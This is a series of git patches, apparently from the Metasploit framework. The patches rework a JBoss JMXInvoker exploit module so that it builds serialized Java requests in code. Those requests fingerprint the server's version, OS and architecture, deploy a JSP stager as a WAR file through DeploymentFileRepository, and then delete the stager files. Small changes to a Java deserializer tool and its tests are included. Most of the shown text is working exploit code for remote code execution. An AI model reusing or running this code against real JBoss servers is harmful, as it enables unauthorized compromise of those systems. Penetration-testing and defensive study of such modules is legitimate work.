$stdout.puts "[-] Don't provide more than one option" + exit + end + deserializer = JavaDeserializer.new(ARGV[0]) - deserializer.run + deserializer.run(options) end From 720def9d0aa7aace3bb7c644f2aa9900e640c9bb Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 22 Jan 2015 14:50:48 -0600 Subject: [PATCH 085/103] Update java_deserializer specs --- spec/tools/java_deserializer_spec.rb | 33 +++++++++++++++++++++------- 1 file changed, 25 insertions(+), 8 deletions(-) diff --git a/spec/tools/java_deserializer_spec.rb b/spec/tools/java_deserializer_spec.rb index 26fc141bee..ada6d79415 100644 --- a/spec/tools/java_deserializer_spec.rb +++ b/spec/tools/java_deserializer_spec.rb @@ -47,14 +47,32 @@ describe JavaDeserializer do end context "when file contains a valid stream" do - it "prints the stream contents" do - expect(File).to receive(:new) do - contents = valid_stream - StringIO.new(contents) + before(:each) do + $stdout.string = '' + end + + context "when no options" do + it "prints the stream contents" do + expect(File).to receive(:new) do + contents = valid_stream + StringIO.new(contents) + end + deserializer.file = 'sample' + deserializer.run + expect($stdout.string).to include('[7e0001] NewArray { char, ["97", "98"] }') + end + end + + context "when :array in options" do + it "prints the array contents" do + expect(File).to receive(:new) do + contents = valid_stream + StringIO.new(contents) + end + deserializer.file = 'sample' + deserializer.run({:array => '0'}) + expect($stdout.string).to include('Array Type: char') end - deserializer.file = 'sample' - deserializer.run - expect($stdout.string).to include('[7e0001] NewArray { char, ["97", "98"] }') end end @@ -69,6 +87,5 @@ describe JavaDeserializer do expect($stdout.string).to include('[-] Failed to unserialize Stream') end end - end end \ No newline at end of file From ad276f0d521f5b9ebf0719b455576b89e1e076c1 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 22 Jan 2015 14:52:19 -0600 Subject: [PATCH 086/103] Retrieve version with Rex::Java::Serialization instead of binary streams --- .../multi/http/jboss_invoke_deploy.rb | 155 +++++++++++++++++- 1 file changed, 151 insertions(+), 4 deletions(-) diff --git a/modules/exploits/multi/http/jboss_invoke_deploy.rb b/modules/exploits/multi/http/jboss_invoke_deploy.rb index 41865e2c6e..4799f456f0 100644 --- a/modules/exploits/multi/http/jboss_invoke_deploy.rb +++ b/modules/exploits/multi/http/jboss_invoke_deploy.rb @@ -234,10 +234,14 @@ EOT def send_serialized_request(file_name , replace_params = {}) - path = File.join( Msf::Config.data_directory, "exploits", "jboss_jmxinvoker", "DeploymentFileRepository", file_name) - data = File.open( path, "rb" ) { |fd| data = fd.read(fd.stat.size) } - - replace_params.each { |key, value| data.gsub!(key, value) } + case file_name + when 'version.bin' + data = build_version.encode + else + path = File.join( Msf::Config.data_directory, "exploits", "jboss_jmxinvoker", "DeploymentFileRepository", file_name) + data = File.open( path, "rb" ) { |fd| data = fd.read(fd.stat.size) } + replace_params.each { |key, value| data.gsub!(key, value) } + end res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path), @@ -350,4 +354,147 @@ EOT end nil end + + def build_version + builder = Rex::Java::Serialization::Builder.new + + object_array = builder.new_array( + values_type: 'java.lang.Object;', + values: [ + builder.new_object( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, + flags: 3, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ), + Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.system:type=Server') + ], + name: '[Ljava.lang.Object;', + serial: 0x90ce589f1073296c, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents = [] + stream.contents << object_array + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'Version') + + build_invocation(stream) + end + + def build_invocation(stream_argument) + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents = [] + + null_stream = build_null_stream + null_stream_enc = null_stream.encode + null_stream_value = [null_stream_enc.length].pack('N') + null_stream_value << null_stream_enc + null_stream_value << "\xfb\x57\xa7\xaa" + + stream_argument_enc = stream_argument.encode + stream_argument_value = [stream_argument_enc.length].pack('N') + stream_argument_value << stream_argument_enc + stream_argument_value << "\x7b\x87\xa0\xfb" + + stream.contents << build_marshalled_invocation + stream.contents << Rex::Java::Serialization::Model::NullReference.new + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x97\x51\x4d\xdd\xd4\x2a\x42\xaf") + stream.contents << build_integer(647347722) + stream.contents << build_marshalled_value + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, stream_argument_value) + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x01") + stream.contents << build_invocation_key(5) + stream.contents << build_marshalled_value + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, null_stream_value) + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x02") + stream.contents << build_invocation_key(4) + stream.contents << build_invocation_type(1) + stream.contents << build_invocation_key(10) + stream.contents << Rex::Java::Serialization::Model::NullReference.new + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + + stream + end + + def build_marshalled_invocation + builder = Rex::Java::Serialization::Builder.new + builder.new_object( + name: 'org.jboss.invocation.MarshalledInvocation', + serial: 0xf6069527413ea4be, + flags: Rex::Java::Serialization::SC_BLOCK_DATA | Rex::Java::Serialization::SC_EXTERNALIZABLE, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + end + + def build_marshalled_value + builder = Rex::Java::Serialization::Builder.new + builder.new_object( + name: 'org.jboss.invocation.MarshalledValue', + serial: 0xeacce0d1f44ad099, + flags: Rex::Java::Serialization::SC_BLOCK_DATA | Rex::Java::Serialization::SC_EXTERNALIZABLE, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + end + + def build_invocation_key(ordinal) + builder = Rex::Java::Serialization::Builder.new + builder.new_object( + name: 'org.jboss.invocation.InvocationKey', + serial: 0xb8fb7284d79385f9, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new], + fields: [ + ['int', 'ordinal'] + ], + data:[ + ['int', ordinal], + ] + ) + end + + def build_invocation_type(ordinal) + builder = Rex::Java::Serialization::Builder.new + builder.new_object( + name: 'org.jboss.invocation.InvocationType', + serial: 0x59a73a1ca52b7cbf, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new], + fields: [ + ['int', 'ordinal'] + ], + data:[ + ['int', ordinal], + ] + ) + end + + def build_integer(value) + builder = Rex::Java::Serialization::Builder.new + builder.new_object( + name: 'java.lang.Integer', + serial: 0x12e2a0a4f7818738, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new], + super_class: builder.new_class( + name: 'java.lang.Number', + serial: 0x86ac951d0b94e08b, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ), + fields: [ + ['int', 'value'] + ], + data:[ + ['int', value], + ] + ) + end + + def build_null_stream + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents = [Rex::Java::Serialization::Model::NullReference.new] + + stream + end + end From 20d7fe631e9d0ee2252a8f0e62067314d6597da5 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 22 Jan 2015 15:15:08 -0600 Subject: [PATCH 087/103] Auto detect platform without raw streams --- .../multi/http/jboss_invoke_deploy.rb | 84 ++++++++++++++++--- 1 file changed, 72 insertions(+), 12 deletions(-) diff --git a/modules/exploits/multi/http/jboss_invoke_deploy.rb b/modules/exploits/multi/http/jboss_invoke_deploy.rb index 4799f456f0..ab699f95a3 100644 --- a/modules/exploits/multi/http/jboss_invoke_deploy.rb +++ b/modules/exploits/multi/http/jboss_invoke_deploy.rb @@ -236,7 +236,11 @@ EOT def send_serialized_request(file_name , replace_params = {}) case file_name when 'version.bin' - data = build_version.encode + data = build_get_version.encode + when 'osname.bin' + data = build_get_os.encode + when 'osarch.bin' + data = build_get_arch.encode else path = File.join( Msf::Config.data_directory, "exploits", "jboss_jmxinvoker", "DeploymentFileRepository", file_name) data = File.open( path, "rb" ) { |fd| data = fd.read(fd.stat.size) } @@ -309,10 +313,10 @@ EOT def auto_target print_status("Attempting to automatically select a target") - plat = detect_platform() - arch = detect_architecture() + plat = detect_platform + arch = detect_architecture - return nil if (not arch or not plat) + return nil unless arch && plat # see if we have a match targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) } @@ -327,13 +331,13 @@ EOT print_status("Attempting to automatically detect the platform") res = send_serialized_request("osname.bin") - if (res.body =~ /(Linux|FreeBSD|Windows)/i) + if res.body =~ /(Linux|FreeBSD|Windows)/i os = $1 - if (os =~ /Linux/i) + if os =~ /Linux/i return 'linux' - elsif (os =~ /FreeBSD/i) + elsif os =~ /FreeBSD/i return 'linux' - elsif (os =~ /Windows/i) + elsif os =~ /Windows/i return 'win' end end @@ -342,12 +346,12 @@ EOT # Try to autodetect the architecture - def detect_architecture() + def detect_architecture print_status("Attempting to automatically detect the architecture") res = send_serialized_request("osarch.bin") - if (res.body =~ /(i386|x86)/i) + if res.body =~ /(i386|x86)/i arch = $1 - if (arch =~ /i386|x86/i) + if arch =~ /i386|x86/i return ARCH_X86 # TODO, more end @@ -355,7 +359,7 @@ EOT nil end - def build_version + def build_get_version builder = Rex::Java::Serialization::Builder.new object_array = builder.new_array( @@ -383,6 +387,62 @@ EOT build_invocation(stream) end + def build_get_os + builder = Rex::Java::Serialization::Builder.new + + object_array = builder.new_array( + values_type: 'java.lang.Object;', + values: [ + builder.new_object( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, + flags: 3, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ), + Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.system:type=ServerInfo') + ], + name: '[Ljava.lang.Object;', + serial: 0x90ce589f1073296c, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents = [] + stream.contents << object_array + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'OSName') + + build_invocation(stream) + end + + def build_get_arch + builder = Rex::Java::Serialization::Builder.new + + object_array = builder.new_array( + values_type: 'java.lang.Object;', + values: [ + builder.new_object( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, + flags: 3, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ), + Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.system:type=ServerInfo') + ], + name: '[Ljava.lang.Object;', + serial: 0x90ce589f1073296c, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents = [] + stream.contents << object_array + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'OSArch') + + build_invocation(stream) + end + def build_invocation(stream_argument) stream = Rex::Java::Serialization::Model::Stream.new stream.contents = [] From 37bf66b9947478a7305080fe740058a5b5097b42 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 22 Jan 2015 16:54:49 -0600 Subject: [PATCH 088/103] Install instaget with Rex::Java::Serialization --- .../multi/http/jboss_invoke_deploy.rb | 151 ++++++++++++++++-- tools/java_deserializer.rb | 8 +- 2 files changed, 143 insertions(+), 16 deletions(-) diff --git a/modules/exploits/multi/http/jboss_invoke_deploy.rb b/modules/exploits/multi/http/jboss_invoke_deploy.rb index ab699f95a3..6c6a73a88b 100644 --- a/modules/exploits/multi/http/jboss_invoke_deploy.rb +++ b/modules/exploits/multi/http/jboss_invoke_deploy.rb @@ -113,9 +113,9 @@ class Metasploit4 < Msf::Exploit::Remote def exploit mytarget = target - if (target.name =~ /Automatic/) + if target.name =~ /Automatic/ mytarget = auto_target - fail_with("Unable to automatically select a target") if not mytarget + fail_with("Unable to automatically select a target") unless mytarget print_status("Automatically selected target: \"#{mytarget.name}\"") else print_status("Using manually select target: \"#{mytarget.name}\"") @@ -241,6 +241,12 @@ EOT data = build_get_os.encode when 'osarch.bin' data = build_get_arch.encode + when 'installstager.bin' + data = build_install_stager( + war_name: replace_params['regex_app_base'], + jsp_name: replace_params['regex_jsp_name'], + data: replace_params["A" * 810] + ).encode else path = File.join( Msf::Config.data_directory, "exploits", "jboss_jmxinvoker", "DeploymentFileRepository", file_name) data = File.open( path, "rb" ) { |fd| data = fd.read(fd.stat.size) } @@ -259,7 +265,7 @@ EOT }, 25) - if (not res) or (res.code != 200) + unless res && res.code == 200 print_error("Failed: Error requesting preserialized request #{file_name}") return nil end @@ -393,14 +399,14 @@ EOT object_array = builder.new_array( values_type: 'java.lang.Object;', values: [ - builder.new_object( - name: 'javax.management.ObjectName', - serial: 0xf03a71beb6d15cf, - flags: 3, - annotations: [Rex::Java::Serialization::Model::EndBlockData.new] - ), - Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.system:type=ServerInfo') - ], + builder.new_object( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, + flags: 3, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ), + Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.system:type=ServerInfo') + ], name: '[Ljava.lang.Object;', serial: 0x90ce589f1073296c, annotations: [Rex::Java::Serialization::Model::EndBlockData.new] @@ -443,6 +449,76 @@ EOT build_invocation(stream) end + def build_install_stager(opts = {}) + + war_name = "#{opts[:war_name]}.war" + jsp_name = opts[:jsp_name] || '' + extension = opts[:extension] || '.jsp' + data = opts[:data] || '' + + builder = Rex::Java::Serialization::Builder.new + + object_array = builder.new_array( + values_type: 'java.lang.Object;', + values: [ + builder.new_object( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, + flags: 3, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ), + Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.admin:service=DeploymentFileRepository'), + Rex::Java::Serialization::Model::EndBlockData.new, + Rex::Java::Serialization::Model::Utf.new(nil, 'store') + ], + name: '[Ljava.lang.Object;', + serial: 0x90ce589f1073296c, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + + values_array = builder.new_array( + values_type: 'java.lang.Object;', + values: [ + Rex::Java::Serialization::Model::Utf.new(nil, war_name), + Rex::Java::Serialization::Model::Utf.new(nil, jsp_name), + Rex::Java::Serialization::Model::Utf.new(nil, extension), + Rex::Java::Serialization::Model::Utf.new(nil, data), + builder.new_object( + name: 'java.lang.Boolean', + serial: 0xcd207280d59cfaee, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new], + fields: [['boolean', 'value', '[B']], + data: [['boolean', 0]] + ) + ], + name: '[Ljava.lang.Object;', + serial: 0x90ce589f1073296c, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + + types_array = builder.new_array( + values_type: 'java.lang.String;', + values: [ + Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'), + Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'), + Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'), + Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'), + Rex::Java::Serialization::Model::Utf.new(nil, 'boolean') + ], + name: '[Ljava.lang.String;', + serial: 0xadd256e7e91d7b47, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents = [] + stream.contents << object_array + stream.contents << values_array + stream.contents << types_array + + build_invocation_deploy(stream) + end + def build_invocation(stream_argument) stream = Rex::Java::Serialization::Model::Stream.new stream.contents = [] @@ -480,6 +556,53 @@ EOT stream end + def build_invocation_deploy(stream_argument) + builder = Rex::Java::Serialization::Builder.new + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents = [] + + null_stream = build_null_stream + null_stream_enc = null_stream.encode + null_stream_value = [null_stream_enc.length].pack('N') + null_stream_value << null_stream_enc + null_stream_value << "\xfb\x57\xa7\xaa" + + stream_argument_enc = stream_argument.encode + stream_argument_value = [stream_argument_enc.length].pack('N') + stream_argument_value << stream_argument_enc + stream_argument_value << "\x7b\x87\xa0\xfb" + + stream.contents << build_marshalled_invocation + stream.contents << Rex::Java::Serialization::Model::NullReference.new + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x78\x94\x98\x47\xc1\xd0\x53\x87") + stream.contents << build_integer(647347722) + stream.contents << build_marshalled_value + stream.contents << Rex::Java::Serialization::Model::BlockDataLong.new(nil, stream_argument_value) + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x01") + stream.contents << build_invocation_key(5) + stream.contents << build_marshalled_value + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, null_stream_value) + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x03") + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'JMX_OBJECT_NAME') + stream.contents << builder.new_object( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, + flags: 3, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.admin:service=DeploymentFileRepository') + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << build_invocation_key(4) + stream.contents << build_invocation_type(1) + stream.contents << build_invocation_key(10) + stream.contents << Rex::Java::Serialization::Model::NullReference.new + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + + stream + end + def build_marshalled_invocation builder = Rex::Java::Serialization::Builder.new builder.new_object( @@ -510,7 +633,7 @@ EOT ['int', 'ordinal'] ], data:[ - ['int', ordinal], + ['int', ordinal] ] ) end @@ -525,7 +648,7 @@ EOT ['int', 'ordinal'] ], data:[ - ['int', ordinal], + ['int', ordinal] ] ) end @@ -545,7 +668,7 @@ EOT ['int', 'value'] ], data:[ - ['int', value], + ['int', value] ] ) end diff --git a/tools/java_deserializer.rb b/tools/java_deserializer.rb index 3547e7b9ce..3c4ffb69dc 100755 --- a/tools/java_deserializer.rb +++ b/tools/java_deserializer.rb @@ -121,8 +121,12 @@ class JavaDeserializer # @param [Fixnum] level the indentation level when printing super classes def print_array(arr, level = 0) prefix = " " * level - puts "#{prefix}Array Description" - print_class(arr.array_description.description, 1) + if arr.array_description.description.class == Rex::Java::Serialization::Model::NewClassDesc + puts "#{prefix}Array Description" + print_class(arr.array_description.description, 1) + else + puts "#{prefix}Array Description: #{arr.array_description.description}" + end puts "#{prefix}Array Type: #{arr.type}" puts "#{prefix}Array Values ##{arr.values.length}" arr.values.each do |v| From eff49b5fd32585d0d368f8a15075b935d79e3ea6 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 22 Jan 2015 17:59:43 -0600 Subject: [PATCH 089/103] Delete files with Rex::Java::Serialization --- .../multi/http/jboss_invoke_deploy.rb | 80 +++++++++++++++++-- 1 file changed, 72 insertions(+), 8 deletions(-) diff --git a/modules/exploits/multi/http/jboss_invoke_deploy.rb b/modules/exploits/multi/http/jboss_invoke_deploy.rb index 6c6a73a88b..a0b6f88f25 100644 --- a/modules/exploits/multi/http/jboss_invoke_deploy.rb +++ b/modules/exploits/multi/http/jboss_invoke_deploy.rb @@ -247,10 +247,20 @@ EOT jsp_name: replace_params['regex_jsp_name'], data: replace_params["A" * 810] ).encode + when 'removestagerfile.bin' + data = build_delete_stager_file( + dir: "#{replace_params['regex_app_base']}.war", + file: replace_params['regex_jsp_name'], + extension: '.jsp' + ).encode + when 'removestagerdirectory.bin' + data = build_delete_stager_file( + dir: './', + file: replace_params['regex_app_base'], + extension: '.war' + ).encode else - path = File.join( Msf::Config.data_directory, "exploits", "jboss_jmxinvoker", "DeploymentFileRepository", file_name) - data = File.open( path, "rb" ) { |fd| data = fd.read(fd.stat.size) } - replace_params.each { |key, value| data.gsub!(key, value) } + fail_with(Failure::Unknow, "#{peer} - Unexpected operation") end res = send_request_cgi({ @@ -273,7 +283,6 @@ EOT res end - def call_uri_mtimes(uri, num_attempts = 5, verb = nil, data = nil) # JBoss might need some time for the deployment. Try 5 times at most and # wait 5 seconds inbetween tries @@ -331,7 +340,6 @@ EOT return nil end - # Try to autodetect the target platform def detect_platform print_status("Attempting to automatically detect the platform") @@ -350,7 +358,6 @@ EOT nil end - # Try to autodetect the architecture def detect_architecture print_status("Attempting to automatically detect the architecture") @@ -450,7 +457,6 @@ EOT end def build_install_stager(opts = {}) - war_name = "#{opts[:war_name]}.war" jsp_name = opts[:jsp_name] || '' extension = opts[:extension] || '.jsp' @@ -487,7 +493,7 @@ EOT name: 'java.lang.Boolean', serial: 0xcd207280d59cfaee, annotations: [Rex::Java::Serialization::Model::EndBlockData.new], - fields: [['boolean', 'value', '[B']], + fields: [['boolean', 'value']], data: [['boolean', 0]] ) ], @@ -519,6 +525,64 @@ EOT build_invocation_deploy(stream) end + def build_delete_stager_file(opts = {}) + dir = opts[:dir] || '' + file = opts[:file] || '' + extension = opts[:extension] || '.jsp' + + builder = Rex::Java::Serialization::Builder.new + + object_array = builder.new_array( + values_type: 'java.lang.Object;', + values: [ + builder.new_object( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, + flags: 3, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ), + Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.admin:service=DeploymentFileRepository'), + Rex::Java::Serialization::Model::EndBlockData.new, + Rex::Java::Serialization::Model::Utf.new(nil, 'remove') + ], + name: '[Ljava.lang.Object;', + serial: 0x90ce589f1073296c, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + + values_array = builder.new_array( + values_type: 'java.lang.Object;', + values: [ + Rex::Java::Serialization::Model::Utf.new(nil, dir), + Rex::Java::Serialization::Model::Utf.new(nil, file), + Rex::Java::Serialization::Model::Utf.new(nil, extension) + ], + name: '[Ljava.lang.Object;', + serial: 0x90ce589f1073296c, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + + types_array = builder.new_array( + values_type: 'java.lang.String;', + values: [ + Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'), + Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'), + Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String') + ], + name: '[Ljava.lang.String;', + serial: 0xadd256e7e91d7b47, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents = [] + stream.contents << object_array + stream.contents << values_array + stream.contents << types_array + + build_invocation_deploy(stream) + end + def build_invocation(stream_argument) stream = Rex::Java::Serialization::Model::Stream.new stream.contents = [] From f9dccda75d9051a56ce62c16193c1c3cbc8717f3 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 22 Jan 2015 18:00:31 -0600 Subject: [PATCH 090/103] Delete unused files --- .../DeploymentFileRepository/installstager.bin | Bin 1697 -> 0 bytes .../DeploymentFileRepository/osarch.bin | Bin 530 -> 0 bytes .../DeploymentFileRepository/osname.bin | Bin 530 -> 0 bytes .../removestagerdirectory.bin | Bin 795 -> 0 bytes .../removestagerfile.bin | Bin 811 -> 0 bytes .../DeploymentFileRepository/version.bin | Bin 527 -> 0 bytes 6 files changed, 0 insertions(+), 0 deletions(-) delete mode 100644 data/exploits/jboss_jmxinvoker/DeploymentFileRepository/installstager.bin delete mode 100644 data/exploits/jboss_jmxinvoker/DeploymentFileRepository/osarch.bin delete mode 100644 data/exploits/jboss_jmxinvoker/DeploymentFileRepository/osname.bin delete mode 100644 data/exploits/jboss_jmxinvoker/DeploymentFileRepository/removestagerdirectory.bin delete mode 100644 data/exploits/jboss_jmxinvoker/DeploymentFileRepository/removestagerfile.bin delete mode 100644 data/exploits/jboss_jmxinvoker/DeploymentFileRepository/version.bin diff --git a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/installstager.bin b/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/installstager.bin deleted file mode 100644 index 4775e14a86463b7374484ed7b191ce6099f2aa44..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1697 zcmZ4UmVvdnh(R;IC|xfrDZjW_FEg(!KRK}^Ge1wyH?gQVBQYl@HN_Jy_>FC$tBhk&PB`@DAvpY+XPY!v`HGIszNU}F)uMa zH8(Y{L=U3aFEKZjpLx0T>s-JLFDay=Cw_bZG?DFCOvn$HL{UkR%>5W(r4TDjwQQOototv|tm#GYT2l9`v7Q&9jk zfVH@gp^kyIoEO9fd92`f`0`Z{!_8b7pf$<_tO)_SHgdU@%u?-|{h0PJ!p-6; Gr~m-e=eYO) diff --git a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/osname.bin b/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/osname.bin deleted file mode 100644 index 8790163d3b7c9a106edcc4d3befba77af02ae6f5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 530 zcmZ4UmVvdnh(R;IC|xfrDZjW_FEg(!KRK}^Ge1wyH?gQVBQYl@HN_Jy_>FC3@Dv04sU^#Z63=7a2WdhcO09_lo+)8GtcFlfFdl=znaTQbm E0K)*d-~a#s diff --git a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/removestagerdirectory.bin b/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/removestagerdirectory.bin deleted file mode 100644 index da3d498236410c882ce7b185d84eb4c1d2116639..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 795 zcmZ4UmVvdnh(R;IC|xfrDZjW_FEg(!KRK}^Ge1wyH?gQVBQYl@HN_Jy_>FC$c;yZDL?xU;)}B4N_I1mz$WE zn4X%OnpdI+QS6tPo666;T>5pc=y_(4%Ssq@AVHLvlAD=lRh(K>mYJMt>ylcKlV1ta z=$4t28kAa)Uz}NzUsPF9!oXIPnwwviT3X0Z2egcVfw_c%Nl(9ofv*S{Iu-GW1qJa* ziN&cU3@m!(iACsc4lXIm%uBakdnxSsOWA67n45uyAcY`A5phCaPO6`*C}#mWgc0a( zC9ENgh-vTC${oLpTCPuS{Rxgg_WYuh%)G>$iUObkti>Qdv6l0K*q{I}_#M7{6~u6$ z1NpstBjWv?yj-0_;{6FC$c;yZDL?xU;)}B4N_I1mz$WE zn4X%OnpdI+QS6tPo666;T>5pc=y_(4%Ssq@AVHLvlAD=lRh(K>mYJMt>ylcKlV1ta z=$4t28kAa)Uz}NzUsPF9!oXIPnwwviT3X0Z2egcVfw_c1s0bJ^74eA$1@TFV#i@Gb ziA5z0d=SB`;)3`*psghgEP6mTx*vi|iZb)kt=C=(d;U_k+8yQxprJ@13Qnh4wfDU5>hJzB;5J$wkcWUL1-$gCgC%66t$0vJ!QA%cBVopT?&;ZtAkRMsgc|mMY z1Qh%ZU%m=rIM9LoUcM3W{!U)5&LQ!Bj=rw640fFC`v!#g)Y+skv4ql?AD`!Kp=MsYMkf4D4a4 zMa94%t8QQLyP}*0XgDL#a3!pMK!l}tYUPgKMJ?ASxBdi&5PN=6N@iYSPDKIG0M_C{ zhB^k;a$XP{)mTfYvAzuqFiP)X3#lGE22<_G8+^2sewXpaK93 C9Jq=A From 911485f536f3d4e738d5079f287f75b4cf9f7b9b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 22 Jan 2015 18:11:48 -0600 Subject: [PATCH 091/103] Use easier key name --- modules/exploits/multi/http/jboss_invoke_deploy.rb | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/modules/exploits/multi/http/jboss_invoke_deploy.rb b/modules/exploits/multi/http/jboss_invoke_deploy.rb index a0b6f88f25..88dc8abfd5 100644 --- a/modules/exploits/multi/http/jboss_invoke_deploy.rb +++ b/modules/exploits/multi/http/jboss_invoke_deploy.rb @@ -128,12 +128,11 @@ class Metasploit4 < Msf::Exploit::Remote name_parameter = rand_text_alpha(8) content_parameter = rand_text_alpha(8) stager_uri = "/#{regex_stager_app_base}/#{regex_stager_jsp_name}.jsp" - stager_code = "A" * 810 # 810 is the size of the stager in the serialized request replace_values = { 'regex_app_base' => regex_stager_app_base, 'regex_jsp_name' => regex_stager_jsp_name, - stager_code => generate_stager(name_parameter, content_parameter) + 'jsp_code' => generate_stager(name_parameter, content_parameter) } print_status("Deploying stager") @@ -245,7 +244,7 @@ EOT data = build_install_stager( war_name: replace_params['regex_app_base'], jsp_name: replace_params['regex_jsp_name'], - data: replace_params["A" * 810] + data: replace_params['jsp_code'] ).encode when 'removestagerfile.bin' data = build_delete_stager_file( @@ -260,7 +259,7 @@ EOT extension: '.war' ).encode else - fail_with(Failure::Unknow, "#{peer} - Unexpected operation") + fail_with(Failure::Unknown, "#{peer} - Unexpected operation") end res = send_request_cgi({ From b003d8f750b46df8d119f31df77b8960f25e752a Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 22 Jan 2015 18:17:14 -0600 Subject: [PATCH 092/103] Do final cleanup --- .../multi/http/jboss_invoke_deploy.rb | 22 +++++++------------ 1 file changed, 8 insertions(+), 14 deletions(-) diff --git a/modules/exploits/multi/http/jboss_invoke_deploy.rb b/modules/exploits/multi/http/jboss_invoke_deploy.rb index 88dc8abfd5..e83daa567b 100644 --- a/modules/exploits/multi/http/jboss_invoke_deploy.rb +++ b/modules/exploits/multi/http/jboss_invoke_deploy.rb @@ -121,7 +121,6 @@ class Metasploit4 < Msf::Exploit::Remote print_status("Using manually select target: \"#{mytarget.name}\"") end - # We use a already serialized stager to deploy the final payload regex_stager_app_base = rand_text_alpha(14) regex_stager_jsp_name = rand_text_alpha(14) @@ 